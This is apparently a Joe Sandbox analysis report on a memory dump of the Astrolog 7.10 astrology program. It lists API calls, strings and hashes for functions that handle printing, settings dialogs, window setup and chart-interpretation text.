Opcode Fuzzy Hash: 164c3f0ed8cad32eeebc3a5c45649b0174b7098377bfd0cff55b2ee44819e473
Instruction Fuzzy Hash: 9DC186B2608304BBDB60AF14DD46F5B3BF8FB8A314F500C59F285926C0DBB49564CB96

Function 6C859D6D Relevance: 45.7, APIs: 25, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

PrintDlgA.COMDLG32(6C8F88B0), ref: 6C859D86
GlobalLock.KERNEL32(00000000), ref: 6C859DAF
GlobalUnlock.KERNEL32 ref: 6C859DCC
GlobalLock.KERNEL32(00000000), ref: 6C859DDC
CreateDCA.GDI32(?,?,?,?), ref: 6C859DEB
GlobalUnlock.KERNEL32(00000000), ref: 6C859E03
GlobalFree.KERNEL32(00000000), ref: 6C859E1B
GlobalFree.KERNEL32(00000000), ref: 6C859E2D
SetAbortProc.GDI32(00000000,6C85A01F), ref: 6C859E3B
StartDocA.GDI32(00000000,?), ref: 6C859E57
DeleteDC.GDI32(00000000), ref: 6C859E62
CreateDialogParamA.USER32(000000C9,6C85A088,00000000), ref: 6C859E8A
ShowWindow.USER32(00000000,00000001), ref: 6C859EA2
EnableWindow.USER32(00000000), ref: 6C859EAF
StartPage.GDI32(00000000), ref: 6C859EB6
SetMapMode.GDI32(00000000,00000008), ref: 6C859F04
GetDeviceCaps.GDI32(00000000,00000008), ref: 6C859F13
GetDeviceCaps.GDI32(00000000,0000000A), ref: 6C859F1B
SetViewportOrgEx.GDI32(00000000,00000000,00000000,00000000), ref: 6C859F24
SetViewportExtEx.GDI32(00000000,?,?,00000000), ref: 6C859F32
EndPage.GDI32(00000000), ref: 6C859FE9
EndDoc.GDI32(00000000), ref: 6C859FF0
EnableWindow.USER32(00000001,?), ref: 6C859FFE
DestroyWindow.USER32 ref: 6C85A00A
DeleteDC.GDI32(00000000), ref: 6C85A011

Strings

Astrolog, xrefs: 6C859E4D

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Global$Window$CapsCreateDeleteDeviceEnableFreeLockPageStartUnlockViewport$AbortDestroyDialogModeParamPrintProcShow
String ID: Astrolog
API String ID: 180290428-1561296214
Opcode ID: 19fad242d25afb7b17cf7094dd852473550813fed50abe09707656c0c0a240a5
Instruction ID: d92240180fded94f9982c118a5f495a7de5331f7dabad0defe20ecbc90ab50e1
Opcode Fuzzy Hash: 19fad242d25afb7b17cf7094dd852473550813fed50abe09707656c0c0a240a5
Instruction Fuzzy Hash: 177119B1B10214EFCF719FA6E988E5A7BF9FB8B3897104427E925D6210E3748851CF94

Function 6C812EA6 Relevance: 44.2, APIs: 11, Strings: 14, Instructions: 438COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C81309A
_sprintf.LIBCMT ref: 6C8130C7
_sprintf.LIBCMT ref: 6C8130FC
_sprintf.LIBCMT ref: 6C813151
_sprintf.LIBCMT ref: 6C8131A1

Part of subcall function 6C821F74: __floor_pentium4.LIBCMT ref: 6C821FBC
Part of subcall function 6C821F74: _sprintf.LIBCMT ref: 6C821FFB
Part of subcall function 6C821F74: __floor_pentium4.LIBCMT ref: 6C82201A
Part of subcall function 6C821F74: _sprintf.LIBCMT ref: 6C822038

_sprintf.LIBCMT ref: 6C8131E9
_sprintf.LIBCMT ref: 6C8132A6
_sprintf.LIBCMT ref: 6C8132F1
_sprintf.LIBCMT ref: 6C813354
_sprintf.LIBCMT ref: 6C813455
_sprintf.LIBCMT ref: 6C813490

Strings

Sun, xrefs: 6C8130DE
Earth, xrefs: 6C8130E5, 6C8130F2
(%.3f%c, xrefs: 6C81328C
[%%%d.%df%%%d.%df] [%%%d.%df%%%d.%df], xrefs: 6C81334E
%.2f%c), xrefs: 6C8132D8, 6C8132EC
%s Vector%s%s Moon Vector, xrefs: 6C8130F6
Uranian #%d, xrefs: 6C81347F
%-4.4s: , xrefs: 6C81314B
%2d%s, xrefs: 6C8131E3
(%.2f%c, xrefs: 6C813293, 6C81329C, 6C81329D, 6C8132A4
%s, xrefs: 6C81319B
Star #%2d, xrefs: 6C81348A
Body %s%sAltitude%s %s%sAzimuth%s%s%s Azi. Vector%s , xrefs: 6C8130C1
%.3f%c), xrefs: 6C8132D1

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$__floor_pentium4
String ID: Body %s%sAltitude%s %s%sAzimuth%s%s%s Azi. Vector%s $ Star #%2d$ Uranian #%d$ %.2f%c)$ %.3f%c)$ %2d%s$ %s$ (%.2f%c$ (%.3f%c$ [%%%d.%df%%%d.%df] [%%%d.%df%%%d.%df]$%-4.4s: $%s Vector%s%s Moon Vector$Earth$Sun
API String ID: 175470247-281674729
Opcode ID: bcd93400d9f316503594eca71125b0653fac9e822ce42928064b23a6f98c2ff9
Instruction ID: 4d6604c1ea415a79dc531d9d06986bf137f9ee7be92f3dc884a65867d5021516
Opcode Fuzzy Hash: bcd93400d9f316503594eca71125b0653fac9e822ce42928064b23a6f98c2ff9
Instruction Fuzzy Hash: 97F1D37190851EDADB349F54DE49BEDBBB8EB05318F2109E9D09863A80DF315EE8CB40

Function 6C85A8EC Relevance: 44.1, APIs: 18, Strings: 7, Instructions: 302windowCOMMON

Download Yara Rule

APIs

GetDlgItemTextA.USER32(?,00000417,?,000000FF), ref: 6C85A943
GetDlgItemTextA.USER32(?,0000041B,?,000000FF), ref: 6C85A963
GetDlgItemTextA.USER32(?,0000041A,?,000000FF), ref: 6C85A983
GetDlgItemTextA.USER32(?,00000419,?,000000FF), ref: 6C85A9A3
GetDlgItemTextA.USER32(?,00000416,?,000000FF), ref: 6C85A9C3
GetDlgItemTextA.USER32(?,00000418,?,000000FF), ref: 6C85A9DF
GetDlgItemTextA.USER32(?,00000473,?,000000FF), ref: 6C85AAC1
GetDlgItemTextA.USER32(?,00000472,?,000000FF), ref: 6C85AADF
EndDialog.USER32(?,00000001), ref: 6C85AB25
SendDlgItemMessageA.USER32(?,00000417,00000143,00000000,Autodetect), ref: 6C85ABCD
SetDlgItemInt.USER32(?,00000416,00000001), ref: 6C85ABDD
SendDlgItemMessageA.USER32(?,00000416,00000143,00000000,6C8B318C), ref: 6C85ABF1
SendDlgItemMessageA.USER32(?,00000416,00000143,00000000,6C8DDC94), ref: 6C85AC01
SendDlgItemMessageA.USER32(?,00000416,00000143,00000000,-60), ref: 6C85AC11
SendDlgItemMessageA.USER32(?,00000418,00000143,00000000,6C8DDC9C), ref: 6C85AC3F
SendDlgItemMessageA.USER32(?,00000418,00000143,00000000,1000ft), ref: 6C85AC4F
GetDlgItem.USER32(?,00000417), ref: 6C85AC7A
SetFocus.USER32(00000000), ref: 6C85AC81

Strings

time zone, xrefs: 6C85AB4A
Autodetect, xrefs: 6C85ABB8
latitude, xrefs: 6C85AB34
daylight saving, xrefs: 6C85AB53
longitude, xrefs: 6C85AB3F
-60, xrefs: 6C85AC03
1000ft, xrefs: 6C85AC41

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Item$Text$MessageSend$DialogFocus
String ID: -60$1000ft$Autodetect$daylight saving$latitude$longitude$time zone
API String ID: 2572050525-1018771081
Opcode ID: 73896fe74ae49a6d836f82e8ef02608f0012b4c0d7243e342e4affac1344f807
Instruction ID: 68efdad183196be9ba73e10d6edc90b82b21a1ab554aad77737c5e4609e629d7
Opcode Fuzzy Hash: 73896fe74ae49a6d836f82e8ef02608f0012b4c0d7243e342e4affac1344f807
Instruction Fuzzy Hash: 90916EB2A08304B6D7206BA0DE85FE77BFCEB45700F100D6AB541926C1EBF59464C7E5

Function 6C822D55 Relevance: 40.4, APIs: 6, Strings: 17, Instructions: 172COMMON

Download Yara Rule

APIs

Part of subcall function 6C821AD3: SetTextColor.GDI32(00000000), ref: 6C821B19

Part of subcall function 6C820F98: _sprintf.LIBCMT ref: 6C820FAD

_sprintf.LIBCMT ref: 6C822E48
_sprintf.LIBCMT ref: 6C822E73
_sprintf.LIBCMT ref: 6C822EA2
_sprintf.LIBCMT ref: 6C822EFF
_sprintf.LIBCMT ref: 6C822F23
_sprintf.LIBCMT ref: 6C822F84

Strings

This person, xrefs: 6C822E90, 6C822E95
This is a major aspect of their psyche!, xrefs: 6C822FA1
Athena, xrefs: 6C822DDC
%s%s%s%s in %s, xrefs: 6C822E42
%s, and, xrefs: 6C822EF9
Most often this manifests, xrefs: 6C822F36
in an independent, backward, introverted manner, and, xrefs: 6C822F5A
(This bit plays only a minor part in their psyche.), xrefs: 6C822FAC
%s., xrefs: 6C822F16, 6C822F21, 6C822F82
Retrograde , xrefs: 6C822E21, 6C822E41
It is easy for them to express this part of themselves., xrefs: 6C822FB7
in the area of life dealing with, xrefs: 6C822F64
very, xrefs: 6C822EE2
%s's, xrefs: 6C822E9C
It is difficult for them to express this part of themselves., xrefs: 6C822FC2
Part of , xrefs: 6C822E02
and %d%s House:, xrefs: 6C822E6D

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$ColorText
String ID: Athena$%s%s%s%s in %s$%s's$%s, and$%s.$(This bit plays only a minor part in their psyche.)$It is difficult for them to express this part of themselves.$It is easy for them to express this part of themselves.$Most often this manifests$Part of $Retrograde $This is a major aspect of their psyche!$This person$and %d%s House:$in an independent, backward, introverted manner, and$in the area of life dealing with$very
API String ID: 777165778-850604435
Opcode ID: adfa4b35a69233e3e17ee3d35f8d4b24ee434f3c4cfa795aa8d441c7a3448729
Instruction ID: cf5acce78fac750d3e489057e8d11967e3303ee1bce0c82e0ba1978c1c6c8e7b
Opcode Fuzzy Hash: adfa4b35a69233e3e17ee3d35f8d4b24ee434f3c4cfa795aa8d441c7a3448729
Instruction Fuzzy Hash: A5510670A141088ACB309B58DB4DAD97776AB52328F914D76D1806BF10CBBCE9C88FD1

Function 6C85B525 Relevance: 37.0, APIs: 17, Strings: 4, Instructions: 242windowCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,000004D7,00000000), ref: 6C85B5A1
IsDlgButtonChecked.USER32(?,000004F9), ref: 6C85B5BE
CheckDlgButton.USER32(?,000004F9,00000001), ref: 6C85B5CA
IsDlgButtonChecked.USER32(?,000004ED), ref: 6C85B5E2
CheckDlgButton.USER32(?,000004ED,00000001), ref: 6C85B5EE
CheckDlgButton.USER32(?,000004D7,00000000), ref: 6C85B608
CheckDlgButton.USER32(?,000004D7,00000001), ref: 6C85B624
IsDlgButtonChecked.USER32(?,000004E2), ref: 6C85B63E
CheckDlgButton.USER32(?,000004E2,00000001), ref: 6C85B64A
IsDlgButtonChecked.USER32(?,00009D11), ref: 6C85B68C
CheckMenuItem.USER32(00009D12,00000008), ref: 6C85B6D9
CheckMenuItem.USER32(00009D12,00000000), ref: 6C85B713
CheckMenuItem.USER32(00009D16,00000000), ref: 6C85B781
EndDialog.USER32(?,00000001), ref: 6C85B794
SetWindowTextA.USER32(?,Transit Object Restrictions), ref: 6C85B7C4
SetDlgItemTextA.USER32(?,00000400,Copy &From Standard Restriction Set), ref: 6C85B7D7
CheckDlgButton.USER32(?,000004D7,00000000), ref: 6C85B7F7

Strings

Copy &From Standard Restriction Set, xrefs: 6C85B7CA
+, xrefs: 6C85B58D
Transit Object Restrictions, xrefs: 6C85B7BC
+, xrefs: 6C85B67E

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Button$Check$CheckedItem$Menu$Text$DialogWindow
String ID: +$+$Copy &From Standard Restriction Set$Transit Object Restrictions
API String ID: 3391364643-1492762541
Opcode ID: 919eb2ae470ca1779bd132e3b426c21ed0e6b0f5540876efeab3d03a4256728a
Instruction ID: 8d4d9d9448d558e470b5c3ed2f090cfb4e77d8ac45ae19760a74e7208d6b5cd0
Opcode Fuzzy Hash: 919eb2ae470ca1779bd132e3b426c21ed0e6b0f5540876efeab3d03a4256728a
Instruction Fuzzy Hash: 94711572544168AFDBB19F61CE45A763E74FB23398F904823F915CB980D7B18862CBC0

Function 6C81745F Relevance: 37.0, APIs: 6, Strings: 15, Instructions: 227COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C81767F
_sprintf.LIBCMT ref: 6C8176A9
_sprintf.LIBCMT ref: 6C8176F6
_sprintf.LIBCMT ref: 6C817718

Part of subcall function 6C821AD3: SetTextColor.GDI32(00000000), ref: 6C821B19

Strings

Occultation, xrefs: 6C81765A, 6C81766D
(Half Moon), xrefs: 6C8175F6
Solar , xrefs: 6C817661, 6C81766E
(%s Lunar Eclipse, xrefs: 6C8175AA
Eclipse, xrefs: 6C81764F
(Winter Solstice), xrefs: 6C8174D9
(%s %s%s, xrefs: 6C817679
(Summer Solstice), xrefs: 6C8174CF
(Autumn Equinox), xrefs: 6C81750D
(Spring Equinox), xrefs: 6C817503
%.0f%%, xrefs: 6C8175D4, 6C8176A3
(v/c %d:%02d, xrefs: 6C8176F0
(Full Moon), xrefs: 6C817567
:%02d, xrefs: 6C817712
(New Moon), xrefs: 6C817554

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$ColorText
String ID: %.0f%%$ (%s %s%s$ (%s Lunar Eclipse$ (Autumn Equinox)$ (Full Moon)$ (Half Moon)$ (New Moon)$ (Spring Equinox)$ (Summer Solstice)$ (Winter Solstice)$ (v/c %d:%02d$:%02d$Eclipse$Occultation$Solar
API String ID: 777165778-1675869674
Opcode ID: 82057445e8e59e80f0f617ce1a0d965103dee63bf3e1d25b664be5b6985a5127
Instruction ID: a20972e20f42b4bd826fd37dd59386563f06a435248736b831ac222f4505242b
Opcode Fuzzy Hash: 82057445e8e59e80f0f617ce1a0d965103dee63bf3e1d25b664be5b6985a5127
Instruction Fuzzy Hash: 6071E671A0910986CF349BADCB45ADE33B59B82318F214D3DD4265BF80DB319D88CB91

Function 6C85EB5C Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 188windowregistrytimeCOMMON

Download Yara Rule

APIs

LoadIconA.USER32(?,0000006F), ref: 6C85EB99
LoadCursorA.USER32(00000000,00007F00), ref: 6C85EBA8
RegisterClassA.USER32(00002003), ref: 6C85EBC6
LoadMenuA.USER32(00000079), ref: 6C85EBEA
CreateWindowExA.USER32(00000000,Astrolog,Astrolog 7.10,02FF0000,80000000,80000000,80000000,80000000,00000000,00000000,00000000), ref: 6C85EC17
CoInitialize.OLE32(00000000), ref: 6C85EC2E
LoadAcceleratorsA.USER32(00000065), ref: 6C85EC5F
ShowWindow.USER32(?), ref: 6C85ED33
SetTimer.USER32(00000001,00000000), ref: 6C85ED4D
ShowCursor.USER32(00000000), ref: 6C85ED61
TranslateAcceleratorA.USER32(?), ref: 6C85ED99
TranslateMessage.USER32(?), ref: 6C85EDA7
DispatchMessageA.USER32(?), ref: 6C85EDB1
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 6C85EDBE
CloseHandle.KERNEL32(00000000), ref: 6C85EDD4
UnregisterClassA.USER32(Astrolog), ref: 6C85EDE5

Strings

The window class could not be registered., xrefs: 6C85EBD1
Astrolog 7.10, xrefs: 6C85EC0C
Astrolog, xrefs: 6C85EBBF, 6C85EC11, 6C85EDE0
The window could not be created., xrefs: 6C85EC26
astrolog.as, xrefs: 6C85ECE4

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Load$Message$ClassCursorShowTranslateWindow$AcceleratorAcceleratorsCloseCreateDispatchHandleIconInitializeMenuRegisterTimerUnregister
String ID: Astrolog$Astrolog 7.10$The window class could not be registered.$The window could not be created.$astrolog.as
API String ID: 770931647-379541473
Opcode ID: 5108f14754717f3a2adb659461b488e0ab81b1f9bdd099434852308db89cae85
Instruction ID: f255f29bc7cbd7d8e38f1da2d988a3a7f70a158d1db812351ae16eee5b6b89c6
Opcode Fuzzy Hash: 5108f14754717f3a2adb659461b488e0ab81b1f9bdd099434852308db89cae85
Instruction Fuzzy Hash: C061B2B1A14208AFDF708FA6EA45F997BB9FB0B388B54493BF415D7650D7749800CB90

Function 6C815FE6 Relevance: 35.5, APIs: 9, Strings: 11, Instructions: 458COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C81606B
_sprintf.LIBCMT ref: 6C816107
_sprintf.LIBCMT ref: 6C816188
_sprintf.LIBCMT ref: 6C816224

Strings

2>, xrefs: 6C816015
%3d, xrefs: 6C81654C
1 , xrefs: 6C81608C
%.3s, xrefs: 6C816026, 6C816069, 6C816186, 6C8162C6, 6C816353, 6C816468, 6C81654B
%02d', xrefs: 6C81621E, 6C81636E, 6C81657F
%02d", xrefs: 6C81658C
%c%2d, xrefs: 6C816535
, xrefs: 6C8161B8
V , xrefs: 6C81612C
, xrefs: 6C81647C, 6C816481, 6C816596
%2d%c, xrefs: 6C816101, 6C816334, 6C8164D0

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: $1 $V $ $ 2>$%.3s$%02d"$%02d'$%2d%c$%3d$%c%2d
API String ID: 1467051239-3486354386
Opcode ID: aefd0e22bc4e4c8967fcf8651970f2ebc64ba91e3b2ee241e36cfdb117ff6e30
Instruction ID: 0026f020ffe24b5002b0407f8b0dea1a55abb42482e8f400e79b3e73c2a9553b
Opcode Fuzzy Hash: aefd0e22bc4e4c8967fcf8651970f2ebc64ba91e3b2ee241e36cfdb117ff6e30
Instruction Fuzzy Hash: 2AF118B2A182458ADF34CBA9C746BDD77B5EB42318F200D29D4929BF90CB39D989C741

Function 6C8214FC Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 165COMMON

Download Yara Rule

APIs

TextOutA.GDI32(-00000005,00000017,?,00000001,00000001), ref: 6C8215C4
_fprintf.LIBCMT ref: 6C8215E2
_fputc.LIBCMT ref: 6C82163A
EndPage.GDI32(00000000), ref: 6C821684
StartPage.GDI32 ref: 6C821690
SetMapMode.GDI32(00000008), ref: 6C82169E
